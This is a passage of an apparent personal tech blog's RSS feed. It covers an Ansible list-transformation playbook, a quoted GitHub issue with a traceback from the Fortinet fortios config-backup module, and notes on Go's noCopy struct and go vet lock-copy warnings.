&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">Name&lt;/span>: &lt;span style="color:#ae81ff">bbb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">Name&lt;/span>: &lt;span style="color:#ae81ff">ccc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="playbook">playbook&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Transform data&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vars&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">orig_users&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">aaa&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">bbb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">ccc&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">my_users&lt;/span>: []
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">set_fact&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">my_users&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ my_users + [{} | combine({&amp;#39;Name&amp;#39;: item})] }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">loop&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ orig_users }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Explanation:&lt;/p>
&lt;ol>
&lt;li>Use the combine filter to build a dict&lt;/li>
&lt;li>Use loop to iterate orig_users&lt;/li>
&lt;li>Use my_users + [{} | combine({&amp;lsquo;Name&amp;rsquo;: item})] to append to the list```&lt;/li>
&lt;/ol></description></item><item><title>Misspelling, missing collection, or incorrect module path for fortios_system_config_backup_restore</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220106-ansible-galaxy-fortios-collection/</link><pubDate>Thu, 06 Jan 2022 13:40:40 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220106-ansible-galaxy-fortios-collection/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/fortinet-ansible-dev/ansible-galaxy-fortios-collection/issues/95" target="_blank" rel="noopener">Misspelling, missing collection, or incorrect module path for fortios_system_config_backup_restore&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="issue">issue&lt;/h4>
&lt;p>Hi,&lt;/p>
&lt;p>I&amp;rsquo;m trying to retrieve the configuration from a Fortigate using the module &lt;code>fortios_system_config_backup_restore&lt;/code> and basing on your playbook example.&lt;/p>
&lt;p>I have &lt;code>ansible 2.10.6&lt;/code>.&lt;/p>
&lt;p>When I use the collection &lt;code>fortinet.fortios:1.1.8&lt;/code>, I got the following error: &lt;code>missing 1 required positional argument: 'mod'&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>The full traceback is:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Traceback &lt;span style="color:#f92672">(&lt;/span>most recent call last&lt;span style="color:#f92672">)&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 102, in &amp;lt;module&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _ansiballz_main&lt;span style="color:#f92672">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 94, in _ansiballz_main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> invoke_module&lt;span style="color:#f92672">(&lt;/span>zipped_mod, temp_path, ANSIBALLZ_PARAMS&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 40, in invoke_module
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> runpy.run_module&lt;span style="color:#f92672">(&lt;/span>mod_name&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore&amp;#39;&lt;/span>, init_globals&lt;span style="color:#f92672">=&lt;/span>None, run_name&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;__main__&amp;#39;&lt;/span>, alter_sys&lt;span style="color:#f92672">=&lt;/span>True&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/usr/lib/python3.8/runpy.py&amp;#34;&lt;/span>, line 207, in run_module
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> _run_module_code&lt;span style="color:#f92672">(&lt;/span>code, init_globals, run_name, mod_spec&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/usr/lib/python3.8/runpy.py&amp;#34;&lt;/span>, line 97, in _run_module_code
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _run_code&lt;span style="color:#f92672">(&lt;/span>code, mod_globals, init_globals,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/usr/lib/python3.8/runpy.py&amp;#34;&lt;/span>, line 87, in _run_code
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exec&lt;span style="color:#f92672">(&lt;/span>code, run_globals&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 472, in &amp;lt;module&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 436, in main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>TypeError: __init__&lt;span style="color:#f92672">()&lt;/span> missing &lt;span style="color:#ae81ff">1&lt;/span> required positional argument: &lt;span style="color:#e6db74">&amp;#39;mod&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>fatal: &lt;span style="color:#f92672">[&lt;/span>fortigate-01&lt;span style="color:#f92672">]&lt;/span>: FAILED! &lt;span style="color:#f92672">=&lt;/span>&amp;gt; &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;changed&amp;#34;&lt;/span>: false,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;module_stderr&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;Traceback (most recent call last):\n File \&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\&amp;#34;, line 102, in &amp;lt;module&amp;gt;\n _ansiballz_main()\n File \&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\&amp;#34;, line 94, in _ansiballz_main\n invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)\n File \&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\&amp;#34;, line 40, in invoke_module\n runpy.run_module(mod_name=&amp;#39;ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore&amp;#39;, init_globals=None, run_name=&amp;#39;__main__&amp;#39;, alter_sys=True)\n File \&amp;#34;/usr/lib/python3.8/runpy.py\&amp;#34;, line 207, in run_module\n return _run_module_code(code, init_globals, run_name, mod_spec)\n File \&amp;#34;/usr/lib/python3.8/runpy.py\&amp;#34;, line 97, in _run_module_code\n _run_code(code, mod_globals, init_globals,\n File \&amp;#34;/usr/lib/python3.8/runpy.py\&amp;#34;, line 87, in _run_code\n exec(code, run_globals)\n File \&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\&amp;#34;, line 472, in &amp;lt;module&amp;gt;\n File \&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\&amp;#34;, line 436, in main\nTypeError: __init__() missing 1 required positional argument: &amp;#39;mod&amp;#39;\n&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;module_stdout&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;msg&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;MODULE FAILURE\nSee stdout/stderr for the exact error&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;rc&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Using the recent pre release &lt;code>fortinet.fortios:2.0.0&lt;/code> , I got:&lt;/p></description></item><item><title>Struct Tricks Every Gopher Should Know</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220103-some-struct-notes/</link><pubDate>Mon, 03 Jan 2022 15:08:31 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220103-some-struct-notes/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/A4m1xlFwh9pD0qy3p7ItSA" target="_blank" rel="noopener">Struct Tricks Every Gopher Should Know&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="nocopy">NoCopy&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ go vet aaa.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># command-line-arguments&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./aaa.go:7:14: test passes lock by value: sync.WaitGroup contains sync.noCopy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./aaa.go:15:10: call of test copies lock value: sync.WaitGroup contains sync.noCopy
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">noCopy&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span>{}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">WaitGroup&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">noCopy&lt;/span> &lt;span style="color:#a6e22e">noCopy&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 64-bit value: high 32 bits are counter, low 32 bits are waiter count.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 64-bit atomic operations require 64-bit alignment, but 32-bit&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// compilers only guarantee that 64-bit fields are 32-bit aligned.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// For this reason on 32 bit architectures we need to check in state()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// if state1 is aligned or not, and dynamically &amp;#34;swap&amp;#34; the field order if&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// needed.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">state1&lt;/span> &lt;span style="color:#66d9ef">uint64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">state2&lt;/span> &lt;span style="color:#66d9ef">uint32&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>noCopy is very simple: an empty struct. It has zero size and takes no space (as long as it is not the last field of a struct; otherwise there is still an 8-byte space overhead).&lt;/p></description></item></channel></rss>